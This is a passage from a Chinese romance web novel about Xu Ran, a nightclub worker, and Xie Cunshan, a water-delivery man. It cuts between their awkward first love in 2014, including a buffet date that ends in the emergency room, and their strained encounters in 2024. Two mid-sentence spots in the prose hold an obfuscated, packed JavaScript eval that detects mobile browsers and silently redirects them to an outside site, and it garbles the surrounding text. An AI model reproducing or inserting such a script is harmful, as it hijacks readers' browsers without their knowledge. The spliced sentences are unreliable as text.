一说到奖金两个字,许冉就睁开了眼睛,空茫茫地看了他好一会儿,又瞧了眼明晃晃的顶灯,眼里忽然流下两行泪。 “姐,你别哭啊。赚钱是好事。”李迈克哄小孩似的安慰她。 “赚钱是好事。”许冉把鼻涕和眼泪都揩在手背上,神经质地笑,笑着笑着,又翻过身,扒着马桶圈继续吐。 吐完她觉得身上舒服一点,胡乱洗了把脸,只是头晕,李迈克扶着她出去,卡座早就空了。 林启待了两个小时就走了,走的时候她借口上厕所也追出去。 林启站在金碧辉煌的大门口问她:“你很缺钱?” 酸从鼻腔到达心底,剧烈地烧灼着她的五脏六腑。一个谎言接着一个,她是个骗子,她咎由自取。 她说:“是啊,我缺钱。” 林启再看她一眼,像是觉得她不可理喻。那种恶心与不解的神情,许冉一辈子也忘不了。 门口的小保安认得她,问她,“莉莉姐,没事儿吧?” 她说,“没事儿。送个客人。” 裙子吐得不能看,卫生间地板也不干净,许冉脱下来直接扔进了垃圾桶。凌晨三点半,她酒醉,穿着打底内衣在化妆间室的镜子里肆无忌惮地端详自己近乎□□的身体,学着万小琴的样子撅着屁股摆pose。 墙角的排风扇还在转,除那之外天地万籁俱寂,虽然在这个房间她见不到天也见不到地。 她被自己的样子逗乐,软着腿坐下来,伏在桌上笑得乐不可支。 小橙也走进来,她今天喝得也不少,坐下来勾着凉鞋翘着二郎腿,看许冉裸露的背脊,一节一节,随着她的笑声起伏。 “我柜子里有件t恤,你穿。”小橙说,然后掏出一瓶喷雾往嘴里吸一口。她有哮喘,夜场里空气不好,她有时候会犯病。 许冉穿过走廊往后门,这个点没有公交车了,出租车又贵,后门往外走两百米是个桥洞,桥洞下面有载客摩的。 张鑫蹲在后门外的屋檐下抽烟,见她来,指了指,说,“小谢等了你一阵了。” 小谢是谁。 许冉的脑子泡在酒精里,转不动。抬眼看见谢存山,无袖宽松灰背心,带了根银质‘狗链’,倚在他的新摩托车上瞧她。 其实她不止一次在这儿看见过他。 刚开始以为他正巧路过,后来莎莎说那个喝啤酒的黑皮帅哥在对面路口新开的游戏厅打工,后来又总见过他和张鑫抽烟。 她路过,他就偷看她,还以为自己没被发现。真的挺傻的。 ——巧合多了当然就不是巧合,女人的直觉很准。 不过此时的许冉也顾不得什么小谢,小李了,她疲惫得只想就地躺下睡觉,往包里摸烟,却摸到一个金属质地的冰凉的东西。 她把手表紧紧攥在手心,攥得都疼了,心里空空的,倦倦的,像没有锚点的船,等待沉没。 她想起林启的眼神,俯下身又接着呕吐。 有人拍她的背,把她的头发搂到脑后。 吐够了,吐爽了,她用手背擦嘴,转过身,把手表抛给身后的男人,“送你的。配你的摩托车。” 桐城开始下雨,初秋夜的凉雨,和街灯的黄光一起落在她肩上,身上,像要在白天到来前彻底融化她。 谢存山松开她的头发,手忙脚乱地接住,低头看着亮晶晶的表盘,愣了两秒,突然咧着嘴笑了。眉目英朗,神采飞扬。 他的瞳孔深黑,又亮,里头倒映着她苍白的脸。 “很晚了。我载你回去吧。我开车很稳的。” 10. 2024 【2024年8月】 还是暑假,小学不像高中初中强制补课,不过还是开设了“兴趣班”。没办法,学校不想,奈何家长们要求。桐城所在的蓉省是高考大省,家长们的那根弦从小学就崩的紧紧的。 何清庭教英语的,下午没课,第二节课后监督着学生们大扫除,结束还不到四点。 送走学生后,她又在办公室与其他老师闲聊了半天,主任开了零食请大家吃。咸的牦牛肉干。主任前阵子去西藏旅游买回来的。 “西藏那种美,没有什么人话可以形容的,你们真的都得去看看。可惜我是教数学的,不然一定要写一首诗。” 大家都笑。何清庭也笑。 “欸,小何,和小谢有什么进展?”教思想品德的毛老师和何妈妈是多年好友,也和她妈一样热衷做媒。 谢存山就是她介绍的。说这孩子家教是很好的,就是后来后来出了些变故,耽搁了发展。但孩子有孝心,长得也好。 何妈妈听说谢存山到现在还没有正式工作,刚开始死活不同意,后来专门找‘大师’看了照片,大师说此人板正稳重,虽不会大富大贵,但却是可以托付之人。何妈妈态度也就一百八十度转了弯。 桐城这种小城市,二十七八还没谈爱结婚就是正儿八经的老姑娘了。何妈妈有严重的心脏病,而女儿的婚姻是她的诸多心病里早已溃疡了的一桩,只求了结干净就行。 地方台的民生节目正在讲临县的养猪大户如何提高仔猪存活率,吃砂锅粉的小店里人满为患。谢存山说今天店里忙,要稍晚些,何清庭也不催,要了瓶维维豆奶,细细啜饮。 “抱歉。” 谢存山匆匆走进来,带来一身湿意。 “外面下雨了?”何清庭问。 “刚下。”谢存山说,“上周是我临时有事。对不住。” “没事。” 上周五本也与他约了晚饭,她到了餐厅,他却失联了几小时,直到晚上八九点才回信道歉。何清庭不甚在意,两个人也是吃,一个人也是吃。 何清庭寡言,谢存山沉闷,一碗粉的功夫两人极少交谈。 窗上雾气蒸腾,窗外雨声弥漫。忽听几声警笛声,何清庭用衣袖擦了擦窗户,说,‘诶,对面招待所抓人了。一,二,三,抓了三个。’ “是么。世道不太平。” 谢存山继续埋头吃粉。 和从前的相亲对象不同,谢存山的沉默并不让人不安和尴尬,她挺喜欢与他相处,她有充分的思考和发呆的空间,又不至于因为忽视对方而感到抱歉,也不觉得孤独。他们都对彼此缺乏好奇和窥探,像一对提前苍老的人。 如果一定要过一辈子,那这样相敬如宾就挺好的。 ——何况谢存山长得耐看,身材也维持得好,结了婚总不至于早上睁眼一看就想吊死自己。 吃完饭谢存山照例送她回家。 何家就在登高巷不远的旧桐城法院家属区,如今法院早已迁去了河西新城,住在这个小区的大都是法院的退休职工。何清庭的父亲从前是法警,母亲原是教师,但身体不好,心脏做了两场大手术,早早病退,夫妻俩感情甚笃,何父前年退休后,便全心全意照料何母。 是个周五,小巷里比平时热闹,八点档电视剧的声音从各人各户的小窗此起彼伏地传出来,像滑稽的合唱。 一群孩子滑着轮滑,呼啦啦地从他们身边过,险些撞倒何清庭。 谢存山扶了她一把。 两人又不着痕迹地拉开距离。 何清庭说,“小时候我也常来登高巷玩。有时候玩得晚,我妈就会来找我。她跟我说过一个故事,说这儿出过一个状元郎,故名登高。这状元郎有一个两小无猜的原配,原配为供养这位布衣书生,每天替人洗衣,可状元高中后前去京城,娶了贵女,从此再未归。原配痴痴等待,不愿相信自己深爱过的白衣书生是个负心人,后来病逝,鬼魂不得安宁,化成洗衣怨女,夜夜在巷里捣衣。” 何清庭踢开一块石子儿,笑着说,“出过状元是真的,后面的故事我妈是为了我早些回家,编的。她以为我和她一样胆小。” 母亲总是为不存在的事情忧虑,讲的鬼故事都老掉牙,母亲总为芝麻大小的事情斤斤计较,来回纠结,母亲传统守旧还有一点可笑的迷信。 ——医生说母亲的心脏像塑料袋漏了洞,好的话还能撑个六七年。 何清庭的前半生任性冲动,辜负甚多。也许母亲的迷信是对的,这是她的因果。 “谢存山。”何清庭停下脚步。 何清庭看得出来,谢存山的心和魂悠悠荡荡一整晚,想着别的事情,或者别的人。她却丝毫不计较。 “我觉得你是个好人。我也勉强算是。要不我们结婚吧。” 看着循规蹈矩的乖乖女,说话却惊世骇俗。 刘长顺正在阳台上偷听,惊讶得水壶都掉了,弄出叮铃哐啷一阵响动,打扰了楼下的年轻人。 谢存山倒是淡定,笑了,说:“你想找个好人。遍地都是。不必是我。” “你是长得帅的好人。”何清庭说,“不嫁丑男是我们何家家训。” 谢存山配合笑笑。 相处这些日子,谢存山也算了解了她一些。知道她看着正经,却总是满嘴跑火车,很少提之前,也很少谈以后。 介绍相亲的人说她毕业进了银行,街坊领居都说是个好工作,她干了几年,谁也没说突然辞了职,给家人留了张字条跑去宁夏旅游,后来又去甘孜灾区做医疗志愿者。 再后来她回到了这里,进了小学做老师。 谢存山没再说什么。 手机响了,他低头看了一眼,神色严肃起来,忽然说有工作急事,然后头也不回地走了。 何清庭耸耸肩,猜十有八九是借口——他一个送水的,大晚上能有什么急事。 得呗,又吓跑一个。 - 翌日谢存山照常去水站上班。店里还有一个临时工,姓廖,最近刚来的,才二十二,00后,已经结婚了,干活很勤快。 他在水站搬水,老婆就在隔街的的士餐厅帮工。 过了正午,二人卸完了货,就在店里躲凉快。姓田的还是抠,答应了要装空调迟迟不动作,只给他们换了一台功率大点的电风扇。 不过好歹电动车修好了。 夏天是最忙的时候,他们这样天天七八个来回地晒,入夏一个多月,谢存山明显晒黑了一圈。老邹不叫他小山了,送他个新外号,‘黑炭哥’。 小廖洗了把脸,也坐下来,问他:“哥,你涂防晒霜不。我看你肩膀上晒红了。” 他说着,掏出一管防晒霜。看谢存山脸上表情,说:“媳妇儿交代我涂的。说晒黑了就老了,丑了。” 过一会儿他又问,“哥,你吃西瓜不?我媳妇儿早上切的,冰在冰箱里,解渴。” 谢存山摆摆手又说不要,自顾自喝水。地上热得可以煮鸡蛋,矿泉水都变成温的了。 小廖不再问了,掏出老婆准备的爱心盒饭,拿出里面的大鸡腿啃起来。 谢存山看饿了,说,你守着店,我去买点吃的。 小廖答好,继续开开心心吃饭。不一会儿定水电话就响了,红桃k要两桶水,要尽快。 红桃k他上周去送过,什么男士养面馆,里面的女孩儿都很年轻。他老婆听说他去送水了,还不高兴,说正经男人都不去那种地方,要他也不许去。 他老婆和他一样大,青梅竹马,耍点小脾气很可爱的。他一下就哄好了。 谢存山刚走到门口,问:“哪里要水。” “红桃k。” “哦。” “等会儿我吃完了就去送。谢哥你去吃饭吧。这大热天不吃好点容易中暑。” “行。” 谢存山转身出了门。小廖继续低头啃鸡腿。鸡腿就两个,啃完第一个,谢存山突然回来了,对他说,你继续吃吧,我先去送了。 不饿吗?小廖问。 太热了。没胃口。 小廖哦了一声,加快速度啃第二根鸡腿。心里想,难怪田老板离不开谢大哥,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144311|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作态度太积极了。他也得努力干才行。 - 店里的生意的高峰在傍晚,姜璐正在店门口百无聊赖,翘着二郎腿刷抖音吃冰棍,奶油化得一地都是,隔壁那只老狗很馋,跑过来舔。 胖女人见了探出头骂狗。狗耳朵聋了,一个劲儿流口水。 姜璐翻了个白眼,没搭理她。 眼见着自行车道拐进来一辆破得可怜的电动车,后视镜缺了一个,她定睛一瞧,轻佻地吹了吹口哨,许冉的‘前男友’来了。 那天眼见许冉和这男人对峙,狗都看得出来不是‘老同学’那么简单。后来她缠着许冉问七问八,许冉才说,是前男友。 又说,你哥也认识。 姜璐吓一跳,连夜给姜毅通风报信,说,你再不回,女朋友都让人拐跑咯。 姜毅在电话那头笑,说,谁啊。 姜璐说,一个姓谢的。 姜毅顿了顿,显然若有所思,说,他啊。 姜璐嗯了声,说,挺帅的。你得有点危机感。 男人花期短,过了二十五,要是保养不当,就开始发福秃头毛孔粗大。 谢存山比姜毅保持得好,体格精壮,肩宽腰窄,眉眼立体深邃,从脸到脚,利索精干,一两多余的赘肉都没有。 这还不算,最主要是气质。谢存山看人时有种恰到好处的威压感,举手投足又沉稳有力,不像她见过的许多男人,腿乱抖,眼乱瞟,步伐虚浮凌乱,一副被酒色泡智障了的模样。 姜毅呢,年轻时也人模狗样的,但今年三十出头,这几年忙于生意应酬,自然多了一些生意场上的油滑精明,好在还不到令人生厌的程度。 ——不过他做生意能赚钱,今年还换了新车,在广州买了房。这一点送水的肯定是比不上的。 找男人嘛,脸和身材都当不了饭吃。结婚还是得找个靠得住的。这是姜璐的理论。 正午的天儿热得能把人蒸化了,店里头倒是幽静清凉。谢存山方才后背汗透了,现在忽然凉下来,觉得不适应,闷闷的,不畅快。 装完水了他同姜璐说,“天气潮,饮水机里头经常长霉,下个月我们有饮水机清洁活动,免费的,你记得来个电话,有人上门来。” 姜璐磨着指甲说,“知道了。”又婀婀娜娜地起身,开了盒烟给他。 谢存山说,“谢谢。我不抽烟。” “那天看你抽来着。”姜璐似笑非笑。 “戒了。”谢存山说,“许冉不在这儿?” “对啊。冉姐只偶尔来,这店是我管的。你不是她老同学吗?她没跟你说。” 姜璐牙尖嘴利,说话的时候夸张的假睫毛上下翻飞,谢存山看得头晕,移开眼睛,没再说什么,弯腰把两个空水桶拿了,系到电动车后座的两边。又单手提下另一桶备用的,放在饮水机旁。 姜璐坐回去磨她的指甲,发出滋滋的响声,“我知道你是她前男友。但你别惦记了。许冉姐现在有男朋友的。我哥。做跨国生意的。” 谢存山没应她,抬起身子从屋檐下的阴影望出去,外头的一切都晒得发白,亮得如同白磷燃烧,他几乎不能直视。 姜璐还在念念叨叨,他想,这姑娘话可真多啊。 “我哥和许冉姐广州的时候就在一块儿了。他俩处挺好的。我看你还是少来店里...诶,你这是怎么了...” ——谢存山中暑晕倒之前最后一眼看到的是那条老狗,四肢着地趴在地上,眯着眼冲他吐舌头。 朦胧中他似乎听到了许冉的声音。梦到了很久很久之前的事情。 十年前的夏天好像也是这么热。玉林路还只是条老城区的普通大街,不算繁华,香樟树遮天蔽日。街角有一家烟酒回收店很实惠,有时候他会替人跑腿来倒腾一趟,赚五十块钱,跨过街又全花在网吧里。 忽然他又梦到许冉,梦到很久之前他午睡梦醒,见她坐出租屋里小猪形状的小马扎上,红着眼睛,低头垂泪... 别哭了。有我呢。一切都会好起来的。 他想说话。却发不出声。 11. 2014 二零一四年九月,处暑刚过,许冉和谢存山开始出双入对。酒吧里的姐妹都知道,许冉恋爱了,初恋,对象是那个黑皮的小帅哥,总骑一辆摩托车,凌晨在后门等她下班。 许冉仍然不懂爱应该是什么感觉,从前她觉得她爱林启,想起他的时候总是满心哀怜。但谢存山是林启的反面,想起他的时候她觉得轻松简单。 她问万小琴想起紫毛的时候是什么感觉。万小琴给了两个字,熨帖。 什么是熨帖。许冉还是搞不清。 ——她只是缩在谢存山的后背形成的避风港,贴着他的背脊和薄薄的皮肉,漫无边际地想心事,又侧着头流连地去看霓虹连成的冷箭似的光,它穿透这个城市的血骨。 上头是万家灯火的遥远和冷漠,下头是匆匆穿行的他们——他的体温如此可亲。 两人虽说在恋爱,但又都不太晓得怎么恋爱。 万小琴看谢存山天天接送人,问她,你们到哪一步了。 早秋天气,许冉在家里试新买的针织衫,说,牵手了。 万小琴噗嗤笑了,说,那就是还在零点踏步。 也许是许冉在夜场里见识着男人们各式各样的急切和企图心,到了谢存山这里,她一点都不介意慢一点。 她享受这种缓慢而不带目的亲密。这是她人生中罕有的东西。 她有时候觉得,他们就像两只落单的鸟,挤在一个屋檐下躲雨,所以才成了同类。 谢存山喜欢同她牵手。她也喜欢。有时候摩托车开到无人的街巷,谢存山会慢下来,腾出一只手牵她。 许冉总是睡到中午,等着谢存山带她去吃饭,多数时候在小区外头吃米粉或盖浇饭,二十来块钱就能解决,还能加个蛋,加个凉菜。 谢存山总是把肉挑到她碗里,她又给挑回去。 吃完饭他们开着摩托沿着江兜风,开到累了两人就找个河堤坐着看人钓鱼,看景。 后来许冉买了一块野餐垫,铺起来,两人像模像样地小憩。 九月的桐城是最可爱的,毛毛的太阳不蛰眼睛,晒得人心里飘飘的,像可以飞到很远的地方去。 有一次他们还在江边遇上了暴露癖,正在尾随两个女学生,谢存山上去一抬脚把他踹到了花坛里。 他们都不是擅长表达的人,待在一块儿从不会像麻子和小苗那样你爱我我爱你地说个不停。 他们是情侣,又是玩伴。有时候他们会说些小时候的事情,许冉总捡着高兴的好玩的说,被大鹅咬屁股之类的。至于那些不好的,说它干什么呢。 ——何况和谢存山在一起,她的大脑总是变得懒惰,想不起太多不高兴的事情。 谢存山倒是跟她提过他家里,说他母亲去世的时候他刚满十五岁。又说他爸不到一年就新娶,新老婆神经兮兮,去年底终于怀孕了,月月都跑庙里掷筊杯,就希望生个男孩。 他又说,不过他现在老婆孩子都有了,总算不老来找我麻烦了。 许冉听了也不说什么,靠在他手臂一侧看天上的流云。也指给他看——说高的那朵像庙会上踩高跷的仙人,胖的那朵像奶奶家养的猪猡。 谢存山也眯着眼,又摸索着握紧了她的手,两人在秋日午后陷入深沉的睡眠,像两粒干净的种子埋进温暖的土里。 而这世界的巨大与他们并不相关。 - 许冉如愿在九月第二周领到了马杰承诺的三千块奖金。她存了一千,还了一千给万小琴,又取了一千现金出来。 万小琴和紫毛跟着丘胖子去临省玩了几天,回来就看到她蹲在床边数钱。 “财迷。”她笑着评价,卸下旅行包,脱掉高跟凉鞋,坐在餐桌旁休息。 “我这一趟一分钱没掏,超值了。那个温泉酒店好舒服,浴室里就能泡,沐浴露洗头水都是外国牌子。你知道吗,那个徐炀,第二天也来了,开的楼顶的总统套。吃晚饭的时候打了个照面。他这人看人阴恻恻的,难受...对了,丘胖子还问呢,说你怎么不一起去玩。这个老色鬼,吃着碗里瞧着锅里。” 许冉笑笑,没搭腔,问:“小琴姐,你上周买的那件牛仔夹克能借我明天穿吗?” “约会去啊?”万小琴笑着点燃一支烟。 许冉抿着嘴点头,笑得很甜。 许冉罕见地在月末的周六请了一天假,两人正儿八经地要去约会。 前一天半夜三点半,谢存山照例接她下班,送她到了楼下从牛仔裤后口袋里掏出一张皱巴巴的纸,说,我问了小勇哥和麻子,这些都是女孩儿爱去的的地方,你可以慢慢挑。明早见。 纸虽皱巴,字却工工整整。 许冉开着床头小灯,把这张纸来来回回看了好多遍,欢欢喜喜在手里攥着睡着了。 他们并不缺独处的时间,但那些多是碎片式的,但初次约会不一样,是慎重而严肃的。当然这只是十八岁的许冉的理论。 万小琴持相反观点。她说初恋就是两个愚蠢的人谈恋爱,迟早会发现对方是个傻/逼,自己更是个大傻/逼。 ——不过她还是慷慨地把自己最昂贵的裙子借给了许冉。 周六许冉早早就醒,黑白法式波点裙搭配米白牛仔夹克,小橙给她参谋的,她请万小琴帮她画个‘淡妆’,又偷偷在楼梯间里把眼影和口红擦掉一半。 谢存山比她起的更早,等她到楼下的时候,他手里的热豆浆已经凉了。 他借了唐小勇的栗色皮夹克和飞行员墨镜,见许冉裙摆摇曳地从门洞里走出来,不知为何紧张地从后视镜里又看了一眼自己的发型。 发胶是麻子的,发型是小苗出的主意,说他脸上轮廓深,最近正好头发长了,适合这种风格。 轮廓不轮廓风格不风格的他也不太懂。只记得那天许冉见到他在早秋的风里扬起一个温柔的笑。 他先带许冉去吃早茶,唐小勇推荐的店,许冉第一次吃流沙包,咸甜口的,她特别喜欢,一口气吃了三个。他们沿着江边散步消食,去老巷子里闲逛,遇到卖老式麦芽糖的老人,许冉在纪念品店给他买了一只皮质的钥匙扣,拓印了平安两个字,用来拴他的摩托车钥匙,又买了一碗红豆刨冰,淋满了五颜六色的色素糖浆,两个人分吃,津津有味。上午下过一阵雨,青石板路还留有一点湿意,他们从长街的头走到尾,牵着手走得很认真。 闲逛之后,谢存山带她去看电影,谈恋爱的片子,里面的男女主角他一个都不认识,他们买了爆米花和汽水,许冉看电影,谢存山看她。她吃爆米花的样子很好玩,像贪婪的仓鼠,把腮帮子塞得很满。 她说,这个爆米花是咸口的,没吃过,挺好吃的。谢存山说他不喜欢吃。许冉又说,那你喝点可乐。谢存山说,我喝水就行 ——麻子给他的炫迈口香糖就在左边裤兜里,麻子交代,接吻前一定要漱口,嚼口香糖,保持口气清新,不然会把人吓跑。 但还没等他有所行动,前面的一对就开始亲嘴了,黏黏腻腻,四只手缠在一块,男的眼看着手都伸进了女人的裤腰。 许冉看呆了,尴尬地一个劲儿喝汽水,坐的笔直。 晚上许冉执意请谢存山去吃巴西烤肉自助餐。她说第一次发奖金,总得庆祝一下。而且平时吃饭总是谢存山抢着掏钱。 这是家全国连锁的自助餐,最近才开来桐城。 桐城人爱凑热闹瞧新鲜,最开始几个月,排队要排一个小时才能进,后来紧锣密鼓地又开了第二家分店。 许冉以前也吃过自助餐,小时候跟许明宗去桂林旅游的时候在酒店里吃的。旅游团有团队餐,但伙食太差,一桌十个人,六个菜,肉都是淋巴肉,摆明了坑人。 许明宗一生气就带着女儿去隔壁厅交钱吃自助了。 三星宾馆的自助其实也不算好吃,但那一顿许冉还是记忆深刻。记得许明宗取了很多排骨,垒成小山一样逗她开心,然后自己全吃完了。记忆中的许明宗年轻魁梧,意气风发。 许冉提前买了团购券,临到了门口才发现一行小字写着仅限工作日的晚上用,团购价一个人288,周末没有团购要388。 看他们犹豫,门口接待的经理换了脸色,说,“天天团购价,我们不得亏死。要不你们先让一边,我先给下一位客人排号?” 谢存山牵许冉的手说,下次再来,我带你去吃别的,吃意大利面好不好。也是新开的,小苗姐推荐的。 许冉冉不知道哪儿来的一股执拗脾气,说,388我也出得起。说着就拉着谢存山的手往里走。 巴西烤肉里头装修得一派辉煌,欧式吊顶,欧式大理石地板,里头来来往往的人都是餍足的神情,墙上挂着诸神宴饮大醉的欧洲画印刷品。 许冉说,“小琴姐说了,先去海鲜区,再去牛肉区,那些普通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144312|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炒菜炒饭别吃。得吃够本。” 谢存山不乐意了,嘟囔说,可我就爱吃蛋炒饭。 最后还是依了许冉。海鲜区见过的没见过的全都吃了个遍,三文鱼冰冷油腻,谢存山根本吃不惯,许冉满脸期待地问他,好吃吗? 谢存山囫囵咽下去,点点头,又继续扫荡盘子里的芝士龙虾。 许冉只能看他吃。她自己海鲜过敏,只能一个劲儿吃牛肉。 她也不认得什么肉好什么肉不好,大家挤着去拿什么她也去,她瘦,很灵活,满载而归,再把盘子里的分一半给谢存山。 后来她又看到好多小孩拿着水果串儿往一边跑,她也拉着谢存山去看,是巧克力喷泉开了,她觉得好新奇,再加上她本来就喜欢吃甜的,又吃了好多。 两人就这样直着腰进去,扶着腰出来。 谢存山开摩托送她回家,周六晚上的桐城灯火通明,一路上许冉都特别安静,紧紧贴在他背上不说话。她是极有主见的人,很少流露出对他的依赖。 停了车,谢存山送她到楼下,一前一后走着,三十步的距离,他走出一脖子的汗,想起麻子交代的——‘初吻这事儿就得男生主动。’ 许冉的侧脸在昏昏的街灯的映照下,像一轮晦暗的遥远的月亮。他有时候觉得她很近,有时候又觉得她远。早秋的铃虫在灌木里低吟,他侧耳去听,却只听到香樟树梢与秋风纠缠的声音。 谢存山拉许冉的手,她回过头问他,怎么了。声音柔柔的,像叹息。 这个机灵的,早熟的,可怜的,可爱的女孩。他握着她柔软的手,站在黑夜里,突然觉得惶恐,仿佛握着一颗刚刚开采的宝石。 “怎么了。”她又问。 谢存山俯身,低头要吻她的嘴唇。 许冉却推了他一把,瞪大了眼睛,突然转过头,捂着嘴跑到花坛旁边——吐了。 ——巧克力水果吃到一半,许冉的肚子便开始作怪。当时谢存山正挤在孩子堆里,艰难地伸出一只手帮她往草莓上淋巧克力。 回家的路上她一路都在忍痛。自助餐是她执意要吃的,真金白银花出去,她又心疼又气又恼自己,肚子疼,头也疼。 但她不想表露出来,她的自尊奇怪又脆弱。这原本是多么好的一天。 她吐在花坛里,心理上的狼狈多过生理上的,有好事的人探头在二楼阳台上看。 “你走吧,我没事儿。”她缓过最难受的那阵。 “咱们得去医院。”谢存山坚持。 “我就是吃多了。” “你在出虚汗。”谢存山用手背贴她的额头。 谢存山没再骑摩托车,带她打车去了医院急诊。急诊人不少,许冉一阵阵又开始难受,靠在他肩上眯了一会儿。后来又稀里糊涂地看了医生,抽了血,医生说是急性肠胃炎,还有点脱水,得吊水。 谢存山陪着她在留观室坐着吊水,总共三大瓶药,期间许冉又吐了两次,谢存山不知道从哪儿弄了条小毯子,给她从头到尾裹着,又把她输液的手轻轻攥在手里。大概是药效起作用了,许冉只觉得极疲惫,谢存山的身体很温暖,她靠着他,半梦半醒,觉得身体好轻,好像这一吐把五脏六腑,积年隐痛,都吐掉了,只剩空空一副躯壳,浮在温水里,像一艘小小的靠岸的船。 打完点滴许冉总算好受一点,只是人还是虚弱,医生要她禁食六个小时,再吃些容易消化的食物。 谢存山半搀着她出去,凌晨四点多,秋夜露重,谢存山把外套全裹在她身上,自己穿一件背心,跑到路边去找车。 坐上后座谢存山问她,现在太晚了,我们出去住,明早带你去喝粥,好不好。你这样回去,我不放心。 许冉垂着眼睛点头,在他颈侧重新寻找到一块温暖的皮肤。 她太累了,记不清上一次生病是什么时候,好像还是两年前的暑假在乡下,那时候奶奶还健康,她病着,奶奶每天给她蒸一碗桂圆红枣鸡蛋,再加一个苹果。 许冉的手因为冷下意识攥成拳。谢存山把她的手搓开了,再紧紧攥进自己手心里。 说,“你肠胃弱,下次少吃点。” “三百八十八呢。”许冉还是不甘心。 “你放心。我比谁都吃得多,光是龙虾我就吃了三条,那玩意儿值钱,咱们没亏。” 许冉趴在他肩上,咧开干裂的嘴唇,无声地笑起来。 12. 2024 老邹住院了。脚崴了一下,骨裂。两周前的事情。那天晚上谢存山撇下何清庭,就是因为接到了电话。 脚上倒是没什么,只是既然来了医院,躺着也是躺着,就顺便做了个全身检查,一查,查出了肾结石,得做微创。于是在医院里一待就是大半个月。 谢存山来看他。田老板的老娘去世了,他回乡下奔丧。他休假,闲着没事就往医院跑。 老邹左手吊着吊瓶,右手正在和对床的大爷下象棋。他想悔棋,对方不让,两个人在那儿生气呢。 瞧见谢存山来了,老邹的眼睛都亮了,说:“你快帮我去跟医生说说,明天办出院。这儿闷都要闷出毛病来。还有那食堂,清汤寡水,不是人吃的东西。” 对床的大爷对谢存山有印象,精壮,沉默,眼神稳重的年轻人,老周做手术的那天他来陪床,擦身,伺候上厕所,比大多子女都尽心。他是慢性肾炎,儿女只来看了一次,其余都仰仗护工。 他调侃问老邹,“儿子?长得不像。” “干儿子。”老邹说。 “医生说了,以后高油高盐的东西都不能吃。肉最好也少吃。”谢存山把他床头的药盒整理好,又一盒一盒仔仔细细看说明。 “一天不吃肉我浑身难受。” 谢存山不接话茬儿,说:“阿凤姨知道你病了,天天问我在哪个医院,她要煲汤来看你。” 一提阿凤姨,老邹就没声了,缩回床上玩手机。 阿凤姨早年丧偶,独自拉扯大一双儿女,如今儿女有出息,轮到她为自己活一把——她看上了老邹。 文雅点的说法是最美不过夕阳红,通俗来说就是倒追。 可惜到目前为止,还是媚眼抛给瞎子看。老邹一直装傻充愣。 对床老头跟谢存山搭话,问他今年几岁了,有没有女朋友。 他女儿二十八了,老大难一个,他逮着机会就替她张□□儿子能做成谢存山这样的没有几个。何况人还高大,面相也好,腮骨有力,眼神清澈。是个正派人。 老邹还在别别扭扭惦记着没下完的棋,听了不乐意,说,“他有。小学老师!教英语的!我见过。” 对床老头倒是不记仇,笑眯眯说,“老邹,我姑娘你上次见过的吧,人长的漂亮,当律师的。怎么样,小伙子,见一面看看?” “当律师的不行。争强好胜。结婚要找软和人。”老邹呛回去。 正说着呢,门口又钻进来五六个人高马大精精神神的年轻人,其中一个单眼皮小白牙的见了谢存山就扑上来喊,“小山哥!可算见着你了。” 他用手肘吊着谢存山的脖子,谢存山也没推开他,只问,“什么时候回来的。” “上个月。”小白牙笑着说。 “还顺利?”谢存山问。 “那当然。大获全胜。” 小白牙放开谢存山,把后头一个瘦弱白净戴眼镜小伙子往前一推,说:“喏。今天总算见着了吧。” 又对谢存山做口型说,“新来的。刚毕业。” 小眼睛激动地吞了吞口水,把双手往牛仔裤上擦了擦,同谢存山握手。 几人又围着老邹,嘘寒问暖,嘻嘻哈哈开着玩笑。来查房的小护士一双眼睛到处瞟,这个单眼皮高鼻梁她喜欢,那个身材精壮宽肩窄腰她也喜欢。 小护士偷偷问对床老头,“老邹这啥来头呢。” 对床老头摇摇头,心里也纳闷呢,一个做包点的老头,哪来那么多年轻人围着转的。 - 有人陪着老邹解闷,谢存山悄悄退出病房。他大概是真的不再年轻,开始喜静。 走到医院门口,摸烟,烟盒子是空的,他将它攥成一团。想起最后一根烟还是那天在红桃k门口抽完的。 其实他很多年前就戒了,只是最近一想到许冉就心烦,频率太高,吸两口才能解闷。 今日周六,看完老邹后他没有别的安排,打算载外婆去城南新开的湿地公园转转。都说老小老小,黄艾玲现在一说起出去玩就起劲儿。 他下门诊大楼的楼梯,旁边杵拐杖上楼的老爷爷脚使不上力气,差点摔跟头,他一把扶住了。 再抬头就看到了许冉,正从化验部的小门往外走。 谢存山一眼就看出她不舒服。走路的时候微微佝偻着上背,把嘴唇抿得死紧。这是她忍痛的表情。 人的年龄会改,但有些下意识的姿势和行为是改不了的。 当然也是忘不掉的。 许冉正顶着日头专心走路,魂游天外。 刚回桐城肠胃就罢工,起起伏伏一直没好全。她患肠胃病十来年,一直断不了根。中医西医来来回回看遍了,没用。中医说这病就是要养,精心养,养得身心舒畅了,病自然就好全了。 望闻问切一番,中医又说,你常年劳心,身体负荷重了,不生病才怪。 昨晚姜璐带她去二中附近瞎逛,她贪心,多吃了两口糯米糍粑,到了半夜肠胃就罢工,折腾一晚上没睡着,原定今天是要去中介那儿签合同的,也作罢,打车来了医院。 走到门诊楼门口,眼前有人挡住去路,许冉下意识抬头,‘借过’两个字还没说出口,就看到谢存山一张冷若霜雪的脸。 她说,“好巧。” 